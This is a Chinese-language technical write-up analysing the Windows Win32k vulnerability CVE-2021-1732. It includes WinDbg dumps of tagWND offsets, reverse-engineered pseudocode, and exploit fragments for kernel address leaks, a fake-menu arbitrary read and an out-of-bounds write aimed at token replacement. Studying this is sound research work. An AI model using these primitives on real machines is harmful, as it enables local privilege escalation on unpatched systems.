0x00 前言
写这篇文章一是为了应付团队的任务,二是锻炼一下自己对EXP分析和复现0/1day的思路,为以后爆出EXP/POC能自主分析作铺垫,三是总结一下相关漏洞挖掘常规利用点为内核挖掘作铺垫。
CVE-2021-1732是一个很经典的Win32k的漏洞,这个漏洞在本人看来属于未来主流的漏洞案例,不同于其他漏洞利用,该漏洞整个利用流程没有借助主流手段--溢出来进行漏洞利用,而是使用不同API之间的“类型混淆”复用同一块地址进而达到利用,在这个安全机制日渐完善的环境下,此类漏洞仍然能在未来占有一席之地,其借助GetMenuBarInfo进行内核信息泄露,借助“漏洞+SetWindowLong函数”实现越界任意地址写入,其EXP构造复杂度可排在前列,且可在最新版Windows10 20H2系统上完成利用,所以我选择此漏洞进行研究
由于文章篇幅太长,建议自行分解分类然后联系分析。
0x01 漏洞背景
win32kfull模块下的漏洞,于蔓灵花(BITTER)组织在2020年12月在野利用中被发现,样本在最新版本的Windows10 20H2全补丁环境下也能触发!
整个利用过程不涉及堆喷射和内存重用,Type Isolation缓解机制对其无效
借助漏洞绕过了最新版Windows 10系统的内核地址空间布局随机化(KASLR).
借助全新未公开手法GetMenuBarInfo实现任意地址读取.
EXP在构造出任意地址读写原语后,采用DataOnlyAttack的方式替换了当前进程的Token,目前的内核缓解机制无法防御此类攻击.
0x02 漏洞复现
环境搭建
工具 | 版本 | 下载链接 |
---|---|---|
win10 | 1903 | https://msdn.itellyou.cn/ |
Visual studio | 2019 | |
EXP | | https://github.com/Pai-Po/CVE-2021-1732 |
点击CVE-2021-1732.sln后启动VS2019点击项目生成即可生成CVE-2021-1732.exe文件
项目配置:
- 运行库配置:多线程调试(/MTd)
- 设置x64位生成
复现:
定位漏洞位置
整个漏洞利用原理如下:
漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx
中一处由回调用户态导致offset可以自定义写入,而存在写入API在flag|0x800
下越界写入offset
指向地址导致的漏洞。
- 当驱动
win32kfull.sys
调用NtUserCreateWindowEx
调用的xxxCreateWindowEx
在调用xxxClientAllocWindowClassExtraBytes
创建带窗口扩展内存的窗口时会判断tagWND->cbWndExtra
(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes
中的KeUserModeCallback
函数回调系统调用表用户层user32!__xxxClientAllocWindowClassExtraBytes
在用户层内存创建窗口扩展内存。 - 用户层创建的窗口扩展内存后分配的地址使用
NtCallbackReturn
函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag
值包含0x800
属性时候调用该值的offset
进行寻址。攻击者可在回调函数内调用NtUserConsoleControl
并传入当前窗口的句柄,将当前窗口内核结构中的一个成员(用于指明窗口扩展内存的区域)修改为offset
,并修改相应的flag
为0x800
,指明该成员是一个offset
。 - 随后,攻击者可在回调函数中Hook调用
NtCallbackReturn
返回任意值,回调结束后,该返回值会覆写之前的offset
,但对应的flag
并未被清除,随后未经校验的offset直接被内核代码用于堆内存寻址,引发越界访问,进而构造写原语。
根本核心:
xxxCreateWindowEx
回调用户态过程中存在Hook回调表自定义offset写入内核问题NtUserConsoleControl
设置flag这个功能与SetWindowLong/SetWindowLongStr
存在“类型混淆”问题
0x03 各个调用点分析
我们先列出我们编写的EXP用到的tagWND结构:
tagWND
0x10 unknown
0x00 pTEB
0x220 pEPROCESS(of current process)
0x18 unknown
0x80 kernel desktop heap base
0x28 tagWNDk(Mapped to user layer) <-----这个结构体映射到用户层
0x00 hwnd
0x08 kernel desktop heap base offset
0x18 dwStyle
0x28 Program entry
0x58 indow Rect top
0x5C indow Rect left
0x60 Window Rect buttom
0x64 indow Rect right
0x98 spMenu
0xC8 cbWndExtra <-----注意点:长度值
0xE8 dwExtraFlag <-----注意点:flag
0xFC unknown
0x128 pExtraBytes <-----注意点:内存地址
0xA8 spMenu
0x28 unknown
0x2C unknown
0x40 unknown
0x44 unknown
0x44 unknown
0x58 unknown
动态分析tagWND的结构体偏移量
一、获取内核态下的窗口句柄地址
根据静态分析Window32kfull!NtUserSetWindowLongPtr
中存在的利用ValidateHwndEx
返回内核下的ptagWND
地址的操作
查看反汇编指令
这里的rdi寄存器存储的数据就是ptagWND
,所以在这里下断点即可拿到ptagWND
的地址
流程:
一、搜索内核中win32kfull!NtUserSetWindowLong
地址
0: kd> x win32kfull!NtUserSetWindowLong
ffffc22a`86ef0ef0 win32kfull!NtUserSetWindowLong (void)
二、定位目标汇编位置
1: kd> u ffffc22a`86ef0ef0 l20
win32kfull!NtUserSetWindowLong:
ffffc22a`86ef0ef0 4c8bdc mov r11,rsp
ffffc22a`86ef0ef3 49895b08 mov qword ptr [r11+8],rbx
ffffc22a`86ef0ef7 49896b10 mov qword ptr [r11+10h],rbp
ffffc22a`86ef0efb 49897318 mov qword ptr [r11+18h],rsi
ffffc22a`86ef0eff 49897b20 mov qword ptr [r11+20h],rdi
ffffc22a`86ef0f03 4156 push r14
ffffc22a`86ef0f05 4883ec50 sub rsp,50h
ffffc22a`86ef0f09 33c0 xor eax,eax
ffffc22a`86ef0f0b 8bf2 mov esi,edx
ffffc22a`86ef0f0d 488bd9 mov rbx,rcx
ffffc22a`86ef0f10 498943d8 mov qword ptr [r11-28h],rax
ffffc22a`86ef0f14 33c9 xor ecx,ecx
ffffc22a`86ef0f16 498943e0 mov qword ptr [r11-20h],rax
ffffc22a`86ef0f1a 418be9 mov ebp,r9d
ffffc22a`86ef0f1d 498943e8 mov qword ptr [r11-18h],rax
ffffc22a`86ef0f21 8d5001 lea edx,[rax+1]
ffffc22a`86ef0f24 458bf0 mov r14d,r8d
ffffc22a`86ef0f27 4c8b1522af2600 mov r10,qword ptr [win32kfull!_imp_EnterCrit (ffffc22a`8715be50)]
ffffc22a`86ef0f2e e8ed642b00 call ffffc22a`871a7420
ffffc22a`86ef0f33 ba01000000 mov edx,1
ffffc22a`86ef0f38 488bcb mov rcx,rbx
ffffc22a`86ef0f3b 448bc2 mov r8d,edx
ffffc22a`86ef0f3e 4c8b1553a82600 mov r10,qword ptr [win32kfull!_imp_ValidateHwndEx (ffffc22a`8715b798)]
ffffc22a`86ef0f45 e8d6642b00 call ffffc22a`871a7420
ffffc22a`86ef0f4a 33db xor ebx,ebx
ffffc22a`86ef0f4c 488bf8 mov rdi,rax <===这里
ffffc22a`86ef0f4f 4885c0 test rax,rax
.......
三、下断点
可以看到我们需要的那个地址是0xffffc22a86ef0f4c
,所以我们在这里下硬件断点
ba e1 ffffc22a`86ef0f4c
四、继续运行我们的EXP
执行我们的CVE-2021-1732.exe
在触发中断后单步步过(p),然后查看rdi寄存器更新的数据(这个就是ptagWND
句柄的指针了)
rdi=0xffffc24a46362690
所以我们就拿到窗口的内核tagWND
地址
二、分析pEPROCESS
这个是我另一个分析,断点拿到的窗口句柄地址:0xffffdc08c3339d20
0: kd> dqs 0xffffdc08c3339d20 l20
ffffdc08`c3339d20 00000000`0006058e
ffffdc08`c3339d28 00000000`00000003
ffffdc08`c3339d30 ffffdc08`c4ffa010 <==这里进入
ffffdc08`c3339d38 ffffde83`db0a40d0
ffffdc08`c3339d40 ffffdc08`c3339d20
ffffdc08`c3339d48 ffffdc08`c123e780
ffffdc08`c3339d50 00000000`0003e780
ffffdc08`c3339d58 00000000`00000000
ffffdc08`c3339d60 00000000`00000000
ffffdc08`c3339d68 00000000`00000000
ffffdc08`c3339d70 00000000`00000000
ffffdc08`c3339d78 ffffdc08`c33512a0
ffffdc08`c3339d80 ffffdc08`c0837540
ffffdc08`c3339d88 ffffdc08`c0830930
.......
偏移0x0
是进程的Thread
地址
0: kd> dqs ffffdc08`c4ffa010
ffffdc08`c4ffa010 ffffde83`db3c0080 <==这里是进程的Thread地址
ffffdc08`c4ffa018 00000000`00000001
ffffdc08`c4ffa020 00000000`00000000
ffffdc08`c4ffa028 0000017f`3dca0dc0
ffffdc08`c4ffa030 00000000`00000000
ffffdc08`c4ffa038 ffffdc08`c4ffa038
ffffdc08`c4ffa040 ffffdc08`c4ffa038
ffffdc08`c4ffa048 00000000`00000000
下面模拟正常寻找Thread地址的流程确定这个地址就是Thread地址:
0: kd> !dml_proc
Address PID Image file name
ffffde83`d8e69080 4 System
ffffde83`d8ed0080 58 Registry
ffffde83`d9ab7080 128 smss.exe
.......
ffffde83`ddee0080 1074 CVE-2021-1732.exe <===这里
ffffde83`de270080 958 conhost.exe
0: kd> !dml_proc 0xffffde83ddee0080
Address PID Image file name
ffffde83`ddee0080 1074 CVE-2021-1732. Full details
Select user-mode state Release user-mode state
Browse kernel module list Browse user module list
Browse full module list
Threads:
Address TID
ffffde83`db3c0080 9a0 <====这里
ffffde83`dd024080 18cc
ffffde83`dd1c3080 18c4
在Thread偏移0x220
是EPROCESS
的地址(跟上面的ffffde83ddee0080 1074 CVE-2021-1732.exe
地址相同)
0: kd> dqs ffffde83`db3c0080 l60
ffffde83`db3c0080 00000000`00200006
ffffde83`db3c0088 ffffde83`db3c0088
ffffde83`db3c0090 ffffde83`db3c0088
ffffde83`db3c0098 00000000`00000000
ffffde83`db3c00a0 00000000`21ca38e8
.......
ffffde83`db3c02a0 ffffde83`ddee0080 <==pEPROCESS地址
.......
三、分析Spmenu真实偏移
这个还是我另一个分析,断点拿到的窗口句柄地址rdi=0xffffdc08c3339d20
这是tagWND的内存空间:
0: kd> dqs 0xffffdc08c3339d20 l30
ffffdc08`c3339d20 00000000`0006058e
ffffdc08`c3339d28 00000000`00000003
ffffdc08`c3339d30 ffffdc08`c4ffa010
ffffdc08`c3339d38 ffffde83`db0a40d0
ffffdc08`c3339d40 ffffdc08`c3339d20
ffffdc08`c3339d48 ffffdc08`c123e780 <===这里是tagWNDk
ffffdc08`c3339d50 00000000`0003e780
ffffdc08`c3339d58 00000000`00000000
ffffdc08`c3339d60 00000000`00000000
ffffdc08`c3339d68 00000000`00000000
ffffdc08`c3339d70 00000000`00000000
ffffdc08`c3339d78 ffffdc08`c33512a0
ffffdc08`c3339d80 ffffdc08`c0837540
ffffdc08`c3339d88 ffffdc08`c0830930
ffffdc08`c3339d90 00000000`00000000
ffffdc08`c3339d98 00000000`00000000
ffffdc08`c3339da0 00000000`00000000
ffffdc08`c3339da8 ffffdc08`c56e2630
ffffdc08`c3339db0 00000000`00000000
ffffdc08`c3339db8 00000000`00000000
ffffdc08`c3339dc0 00000000`00000000
ffffdc08`c3339dc8 0000017f`3de70000 <===这里就是spmenu,偏移0xa8
ffffdc08`c3339dd0 00000000`00000000
ffffdc08`c3339dd8 ffffdc08`c123e8d0
ffffdc08`c3339de0 00000000`00000000
ffffdc08`c3339de8 ffffdc08`c3339d20
.......
0: kd> ?0xffffdc08c3339d20+a8
Evaluate expression: -39544783921720 = ffffdc08`c3339dc8
我们的赋值源码:
pFakeMenu[0] = (ULONG_PTR)&ulFakeHandle;
pFakeMenu[5] = (ULONG_PTR)pFakeMenuBody; // fake body
((PULONG)(&pFakeMenuBody[5]))[1] = 0xffff; // make items count to max
((PULONG)(&pFakeMenu[8]))[0] = 1; // make menu'x to 1
((PULONG)(&pFakeMenu[8]))[1] = 1; // make menu'y to 1
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems; // 这个就是读取的地址
ulFakeRefCount[0] = (ULONG_PTR)pFakeMenu;
pFakeMenu[0x13] = (ULONG_PTR)&ulFakeRefCount;
进入到tagWNDk
0: kd> dqs ffffdc08`c123e780 l20
ffffdc08`c123e780 00000000`0006058e
ffffdc08`c123e788 00000000`0003e780
ffffdc08`c123e790 80000700`40020018
ffffdc08`c123e798 04c00000`00000100
ffffdc08`c123e7a0 00007ff7`211f0000
ffffdc08`c123e7a8 00000000`00000000
ffffdc08`c123e7b0 00000000`000010d0
ffffdc08`c123e7b8 00000000`00000000
ffffdc08`c123e7c0 00000000`00000000
ffffdc08`c123e7c8 00000000`0006fa10
ffffdc08`c123e7d0 00000000`0000a090
ffffdc08`c123e7d8 00000000`00000000
ffffdc08`c123e7e0 00000027`00000088
ffffdc08`c123e7e8 0000001f`00000008
ffffdc08`c123e7f0 0000001f`00000080
ffffdc08`c123e7f8 00007ffe`133dbd30 ntdll!NtdllDefWindowProc_W
ffffdc08`c123e800 00000000`00017580
ffffdc08`c123e808 00000000`00000000
ffffdc08`c123e810 00000000`00000000
ffffdc08`c123e818 0000017f`3de70000 <===这里就是spmenu,偏移0x98
ffffdc08`c123e820 00000000`00000000
ffffdc08`c123e828 00000000`00000000
ffffdc08`c123e830 00000000`0003e780
ffffdc08`c123e838 0000000e`0000000c
ffffdc08`c123e840 00000000`0003e8d0
ffffdc08`c123e848 00000000`00000100
ffffdc08`c123e850 00000000`000c07e9
ffffdc08`c123e858 00000000`00000000
ffffdc08`c123e860 00000000`00000000
ffffdc08`c123e868 00000001`00120818
ffffdc08`c123e870 0000017f`3dd69730
ffffdc08`c123e878 00000000`00000000
进入到spmenu进行验证是否是真实的spmenu
0: kd> dqs 0x0000017f`3de70000 l14
0000017f`3de70000 00000058`dddefa00 <==这是我们的ulFakeHandle
0000017f`3de70008 00000000`00000000
0000017f`3de70010 00000000`00000000
0000017f`3de70018 00000000`00000000
0000017f`3de70020 00000000`00000000
0000017f`3de70028 0000017f`3de80000 <==这是我们的pFakeMenuBody
0000017f`3de70030 00000000`00000000
0000017f`3de70038 00000000`00000000
0000017f`3de70040 00000001`00000001 <==这是menu.x和menu.y
0000017f`3de70048 00000000`00000000
0000017f`3de70050 00000000`00000000
0000017f`3de70058 0000017f`3de90000 <==这是我们要读取的地址
0000017f`3de70060 00000000`00000000
0000017f`3de70068 00000000`00000000
0000017f`3de70070 00000000`00000000
0000017f`3de70078 00000000`00000000
0000017f`3de70080 00000000`00000000
0000017f`3de70088 00000000`00000000
0000017f`3de70090 00000000`00000000
0000017f`3de70098 00000058`dddefe20 <==这是我们赋值的ulFakeRefCount
进入pFakeMenuBody
0: kd> dqs 0000017f`3de80000
0000017f`3de80000 00000000`00000000
0000017f`3de80008 00000000`00000000
0000017f`3de80010 00000000`00000000
0000017f`3de80018 00000000`00000000
0000017f`3de80020 00000000`00000000
0000017f`3de80028 0000ffff`00000000 <==这里是我们赋值的0xffff
0000017f`3de80030 00000000`00000000
0000017f`3de80038 00000000`00000000
0000017f`3de80040 00000000`00000000
0000017f`3de80048 00000000`00000000
0000017f`3de80050 00000000`00000000
0000017f`3de80058 00000000`00000000
0000017f`3de80060 00000000`00000000
0000017f`3de80068 00000000`00000000
0000017f`3de80070 00000000`00000000
0000017f`3de80078 00000000`00000000
进入ulFakeRefCount
0: kd> dqs 00000058`dddefe20
00000058`dddefe20 0000017f`3de70000 <==这里是我们spMenu地址
00000058`dddefe28 00000000`00000000
00000058`dddefe30 00006866`218492b4
00000058`dddefe38 00007ff7`211f3a05
00000058`dddefe40 00000000`00000000
00000058`dddefe48 0000017f`3c21d540
00000058`dddefe50 00000000`00000000
00000058`dddefe58 0000017f`3c21de00
00000058`dddefe60 00000000`00000000
00000058`dddefe68 00007ff7`211f3520
00000058`dddefe70 00000000`00000000
00000058`dddefe78 00000000`00000000
00000058`dddefe80 00000000`00000000
00000058`dddefe88 00000000`00000000
00000058`dddefe90 00000000`00000000
00000058`dddefe98 00000000`00000000
根据上方数据写入地址验证0x98
确实是spmenu偏移(实际上真实确认应该是在分析xxxGetMenuBarInfo上指令偏移确认)
四、分析内核桌面堆基址
还是另一个分析,这里的窗口句柄值:0xffff834ec083a690
1: kd> dqs 0xffff834ec083a690
ffff834e`c083a690 00000000`0004071a
ffff834e`c083a698 00000000`0000000a
ffff834e`c083a6a0 ffff834e`c06559a0
ffff834e`c083a6a8 ffff9108`276b1a80 <==这里进去
ffff834e`c083a6b0 ffff834e`c083a690
ffff834e`c083a6b8 ffff834e`c125ecd0
ffff834e`c083a6c0 00000000`0005ecd0
1: kd> dqs ffff9108`276b1a80+80
ffff9108`276b1b00 ffff834e`c1200000 <==这里就是内核下的桌面堆基址
ffff9108`276b1b08 00000000`01400000
ffff9108`276b1b10 00000000`0001072a
ffff9108`276b1b18 00000030`000000a0
ffff9108`276b1b20 00000040`000000a8
ffff9108`276b1b28 ffff834e`c2e89c40
ffff9108`276b1b30 ffff834e`c079d2f0
ffff9108`276b1b38 ffff834e`c0834540
这里我暂时无法获取,因为涉及到跳转用户层读取数据
四、分析tagWNDk结构体
RECT结构体定义:
typedef struct tagRECT
{
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT;
调试源码:
//test03.cpp
#include <windows.h>
#include <winuser.h>
#include <tlhelp32.h>
#include <iostream>
#if 1
#define DEBUG_BREAK() __debugbreak();
#else
#define DEBUG_BREAK()
#endif
#define WND_NAME L"WND"
#define CLS_NAME L"WND_CLS"
#define DefWindowProc DefWindowProcW
using HMVALIDATEHANDLE = VOID * (WINAPI*)(HWND hwnd, int type);
HMVALIDATEHANDLE HMValidateHandle = NULL;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
HMValidateHandle = (HMVALIDATEHANDLE)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
BOOL RegistWndClass(PCTSTR ClsName) {
WNDCLASS wndclass = { 0 };
wndclass.style = CS_HREDRAW | CS_VREDRAW;//窗口类型
wndclass.lpfnWndProc = DefWindowProc; //定义窗口处理函数
wndclass.cbClsExtra = 0;//窗口类扩展
wndclass.cbWndExtra = 0x100;//窗口实例无扩展
wndclass.hInstance = GetModuleHandle(NULL);;//当前实例句柄
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);//窗口的最小化图标类型
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);//窗口采用箭头光标
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);//窗口背景色
wndclass.lpszMenuName = NULL;//窗口菜单
wndclass.lpszClassName = ClsName; //实际就是进程列表显示的名称
return !!RegisterClass(&wndclass);
}
HWND CreateWnd(PCTSTR ClsName) {
HMENU hMenu = NULL;
HMENU hHelpMenu = NULL;
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
//0x1888是这个子菜单的句柄
AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));
return CreateWindowEx(NULL, ClsName, WND_NAME, NULL, 0, 0, 0, 0, NULL, hMenu, GetModuleHandle(NULL), NULL);
}
int main()
{
HWND hwnd;
PVOID pCurWndObj1 = NULL;
FindHMValidateHandle();
if (RegistWndClass(CLS_NAME)) //检查窗口是否注册成功
{
printf("RegisterClass successfull!\n");
hwnd = CreateWnd(CLS_NAME);
printf("hwnd == %X\n", hwnd);
pCurWndObj1 = HMValidateHandle((HWND)hwnd, 0x1);
printf("pCurWndObj1 == %llx\n", pCurWndObj1);
SetWindowLong(hwnd, 0x1c, 0x40c00000);
RECT Rect = { 0 };
GetWindowRect(hwnd, &Rect);
printf("left == %llx\n", Rect.left);
printf("top == %llx\n", Rect.top);
printf("right == %llx\n", Rect.right);
printf("bottom == %llx\n", Rect.bottom);
DEBUG_BREAK();
getchar();
}
}
我们使用windbg用户态(注意!!)下调试
程序执行打印值:
RegisterClass successfull!
hwnd == 50460
pCurWndObj1 == 1b23a5d0d90
left == 0
top == 0
right == 88
bottom == 27
下面是Windbg调试下的分析值:(而且这个还是tagWNDk从kernel映射到user的内存空间)
0:000> dqs 1b23a5d0d90 l30
000001b2`3a5d0d90 00000000`00050460 <==hwnd
000001b2`3a5d0d98 00000000`00040d90 <==kernel desktop heap base offset
000001b2`3a5d0da0 80000700`40020019 <==unkown
000001b2`3a5d0da8 04c00000`00000100 <==dwstyle
000001b2`3a5d0db0 00007ff6`93e70000 test03 <==Program entry
000001b2`3a5d0db8 00000000`00000000
000001b2`3a5d0dc0 00000000`000010d0
000001b2`3a5d0dc8 00000000`00000000
000001b2`3a5d0dd0 00000000`00000000
000001b2`3a5d0dd8 00000000`0003d880
000001b2`3a5d0de0 00000000`00034c30
000001b2`3a5d0de8 00000000`00000000 <== top,left
000001b2`3a5d0df0 00000027`00000088 <== bottom,right
000001b2`3a5d0df8 00000033`00000008
000001b2`3a5d0e00 00000033`00000080
000001b2`3a5d0e08 00007ffa`f155bd30 ntdll!NtdllDefWindowProc_W
000001b2`3a5d0e10 00000000`00040800
000001b2`3a5d0e18 00000000`00000000
000001b2`3a5d0e20 00000000`00000000
000001b2`3a5d0e28 00000000`00040890
000001b2`3a5d0e30 00000000`00000000
000001b2`3a5d0e38 00000000`00000000
000001b2`3a5d0e40 00000000`00040d90
000001b2`3a5d0e48 00000008`00000006
000001b2`3a5d0e50 00000000`00040ee0
000001b2`3a5d0e58 00000000`00000100 <==cbWndExtra
000001b2`3a5d0e60 00000000`00b10301 <==dwExtraFlag
000001b2`3a5d0e68 00000000`00000000
000001b2`3a5d0e70 00000000`00000000
000001b2`3a5d0e78 00000001`00120018
000001b2`3a5d0e80 000001b2`3bc60e40
000001b2`3a5d0e88 00000000`00000000
000001b2`3a5d0e90 00000000`00010001
000001b2`3a5d0e98 00000000`00000000
000001b2`3a5d0ea0 00000000`00000000
000001b2`3a5d0ea8 00000060`00000000
000001b2`3a5d0eb0 00000000`00006010
000001b2`3a5d0eb8 000001b2`3a034d00 <==pExtraBtes
000001b2`3a5d0ec0 00000000`00000000
000001b2`3a5d0ec8 00000000`00000000
000001b2`3a5d0ed0 ce9cc899`bcd7a6ce
000001b2`3a5d0ed8 00000000`000001c1
000001b2`3a5d0ee0 00000044`004e0057
000001b2`3a5d0ee8 00080000`0007d6a1
000001b2`3a5d0ef0 ce9cc88e`bcd6a6ee
000001b2`3a5d0ef8 00000000`000001e1
000001b2`3a5d0f00 454d4946`5443534d
000001b2`3a5d0f08 00000000`00495520
利用代码示例
RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect);
//获取到窗口的坐标值
RECT结构体
typedef struct tagRECT {
LONG left; //得出0x58
LONG top; //得出0x50
LONG right; //得出0x68
LONG bottom; //得出0x60
} RECT;
所以我们可以构造出真实的tagWND结构体各个成员偏移
0x04 利用函数解析
一、分析win32kfull!xxxCreateWindowEx
函数含义:
传入长度值**tagWND -> cbwndExtra**
到**xxxClientAllocWindowClassExtraBytes**
在**xxxClientAllocWindowClassExtraBytes**
执行后将返回值赋值到pExtraBytes
汇编分析:
判断tagWND->cbWndExtra
不为0
call ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
test al,al
jz short loc_1C003CE44
载入参数cbWndExtra
后调用xxxClientAllocWindowClassExtraBytes
mov rax, [r15+28h] ; 进入ptagWNDk
mov ecx, [rax+0C8h] ; 载入参数cbWndExtra
call xxxClientAllocWindowClassExtraBytes
将xxxClientAllocWindowClassExtraBytes
返回值传入到tagWND->pExtraBytes
mov rcx,rax ; 返回值传入rcx
mov rax,[r15+28h] ; 进入到tagWNDk
mov [rax+128h],rcx ; 将返回值赋值到tagWNDk偏移0x128h即pExtraBytes处
伪代码分析:
判断cbwndExtra不为0,这里要返回True(不为0)
LODWORD(v210) = 0;
!tagWND::RedirectedFieldcbwndExtra<int>::operator!=(v37 + 0xB1, &v210)
判断传入pExtraBytes是否为0,这里要返回False(不为0)
(*(*(v37 + 0x28) + 0x128i64) = xxxClientAllocWindowClassExtraBytes(*(*(v37 + 0x28) + 0xC8i64)),
v237 = 0i64,
!tagWND::RedirectedFieldpExtraBytes::operator==<unsigned __int64>(v37 + 0x140, &v237))
- 传入
cbwndExtra
执行xxxClientAllocWindowClassExtraBytes
这里是典型()判断语句:
示例(配合理解):
int a = (a=1,b=1,a==b);
//返回:a=1(即true)
由于是“||”判断,所以当cbwndExtra不为0跳入if包含的语句
上述的pExtraBytes
就是创建窗口扩展内存分配的内存地址
二、分析win32kfull!xxxClientAllocWindowClassExtraBytes
函数含义:
从win32kfull!xxxCreateWindowEx
载入一个**cbwndExtra**
,然后回调用户层user32!_xxxClientAllocWindowClassExtraBytes
返回了pExtraBytes
然后传回win32kfull!xxxCreateWindowEx
(用于赋值到pExtraBytes
)
- KeUserModeCallback原理解析:KeUserModeCallback用法详解
- 第22行在
KeUserModeCallback
使用编号123
回调且传入参数**cbwndExtra**
到KernelCallbackTable
表中用户层user32.dll
的函数user32!_xxxClientAllocWindowClassExtraBytes
,从user32!_xxxClientAllocWindowClassExtraBytes
调用NtCallbackReturn
返回的数据有返回数据outputbuffer
和返回数据长度outputlength
下面的KernelCallbackTable地址为0x00007ff94cd56330
查看KernelCallbackTable表中的user32!_xxxClientAllocWindowClassExtraBytes
地址为0x00007ff94cd56708
可以计算得KernelCallbackTable
中user32!_xxxClientAllocWindowClassExtraBytes
标识符为123
- 第26行表示设置的
outputlength
必须为0x18
- 第29行判断返回的内存地址
outputbuffer
是否越界,MmUserProbeAddress == 0x7fff0000
表示用户层边界,所以我们的 - 第33行中返回的信息第一个指针类型指向的就是用户层分配内存地址,且在下一步使用
ProbeForRead
判断用户层返回的这块内存是否是Ring3的内存 - 第35行返回值
v4
就是即将载入到pExtraBytes
的内存地址
三、分析user32!_xxxClientAllocWindowClassExtraBytes
函数含义
在用户层申请一个堆地址后将地址回调到内核层且执行
伪代码分析
这里是从win32kfull!xxxClientAllocWindowClassExtraBytes
载入参数**cbwndExtra**
当作*a1
- 第7行
RtlAllocateHeap
分配了一个内存并返回这个内存的地址 - 第8行
NtCallbackReturn
传输了长度0x18
(数组3位)的数据(Result
)到内核层win32kfull!xxxClientAllocWindowClassExtraBytes
作为参数继续运行,长度为0x18
数据中第一个8字节长度数据是分配后的地址
四、分析Win32kfull!NtUserConsoleControl
函数含义:
指定窗口hwnd
的dwExtraFlag
包含**0x800**
属性
1. NtUserConsoleControl
第25行调用xxxConsoleControl
- 载入参数1:功能序号,第11行表示参数1小于等于6
- 载入参数2:输入信息(这个参数就是Hook调用NtUserConsoleControl需要获取的HWND)
- 载入参数3:输入信息长度,第16行表示参数3小于等于0x18
2. xxxConsoleControl(这里是关键)
函数含义:
虽然存在下列地址写入语句:
- 当flag为
0x800
则直接调用offset寻址(这个不用管) - 当flag不是0x800则生成一个新内存,把这个内存地址设置为
offset
再寻址(这个就是Hook中为什么要先执行NtUserConsoleControl
的原因)
伪代码分析
- 第100行表示传入的参数3必须等于16(x64下数组长度为2)
- 第102行表示检测传入的参数是否是Hwnd
- 第106行进入到tagWND中的tagWNDk
- 第121行判断当前判断
tagWND->dwExtraFlag
是否包含0x800属性(就是看看第12位是否为1) - 第123行表示当
dwExtraFlag
包含0x800
则:偏移0x128
保存的分配内存地址pExtrabytes
变成了内核桌面堆地址+offset
寻址 - 第127行表示当
dwExtraFlag
不包含0x800
则:重新分配内存并设置偏移0x128
为offset
寻址 - 第138-140行表示当
dwExtraFlag
不包含0x800
则:将新生成的pExtrabytes
赋值cbWndExtra
大小到offset
寻址内存处 - 第148~149行表示将
tagWND+0x10
指向的内容赋值到offset指向的地址 - 上述的127~149意思就是重写了
pExtrabytes
- 第151行表示设置
dwExtraFlag
包含0x800(就是设置第12位为1)
所以只要调用了**NtUserConsoleControl**
即可目标窗口将dwExtraFlag添加0x800属性
五、分析win32kfull!NtSetWindowLong
函数含义:
在调用SetWindowLong
函数时,会调用User32!SetWindowLong
,然后传递参数到内核层中的win32kfull!NtSetWindowLong
中调用,当flag=0x800
时,则将参数3写入到“参数2+*(tagWND+0xFC)+内核桌面堆地址+pExtraBytes ”指向的地址,进而导致越界写入。
一、分析User32!SetWindowLong
(打开win10 1903中的System32文件夹拿到user32.dll分析)
下图为调用SetWindowLong()
需要的参数
可以看到只需要传递3个参数
二、分析win32kfull!NtSetWindowLong
(打开win10 1903中的System32文件夹拿到win32kfull.sys分析)
- 第1行表示
User32!SetWindowLong
传到内核层的参数,其中a4固定为1 - 第16行表示我们可以通过这行下断点拿到这个窗口的
tagWND
句柄 - 第32行表示将调用
User32!SetWindowLong
传入的参数加载到xxxSetWindowLong
中继续执行
三、分析win32kfull!xxxSetWindowLong
- 上图为
win32kfull!xxxSetWindowLong
参数
- 第56行表示将
v13
指向tagWND中的ptagWNDk
- 第91行表示设置新指针v13指向了v12
- 第113行表示传入的
nIndex+4
(参数2+4)必须小于(tagWND+0xFC
指向的地址内容,经调试我们写的EXP该该内容为0x00010001
)+cbWndExtra - 这里我们只需要将
cbWndExtra
设置成为0xFFFFFFFF
即可不管
- 第117行表示
tagWNDk+0xFC
的内容 - 第152行表示指针v18等于传入的参数2(v15指向的
ptagWNDk+0xFC
经静态分析为0x00010001
转换为无符号int型为1,所以减去4字节,建议动态调试分析,经过我的动态分析,这里好像当参数2超过某个值就不需要删除ptagWNDk+0xFC
) - 这里我们覆盖
style(tagWNDk+0x18)
就需要设置参数2为0x1c
- 第153行表示判读
tagWNDk->flag
是否有0x800
属性 - 第154行表示使用指针v19指向
***(pExtraBytes + 载入的参数2 - 4 + 内核桌面堆地址)**
,这个offset
我们是可以使用SetWindowLong
进行自定义 - 第156行表示使用指针v19指向
***(pExtraBytes - 4 + 载入的参数2)**
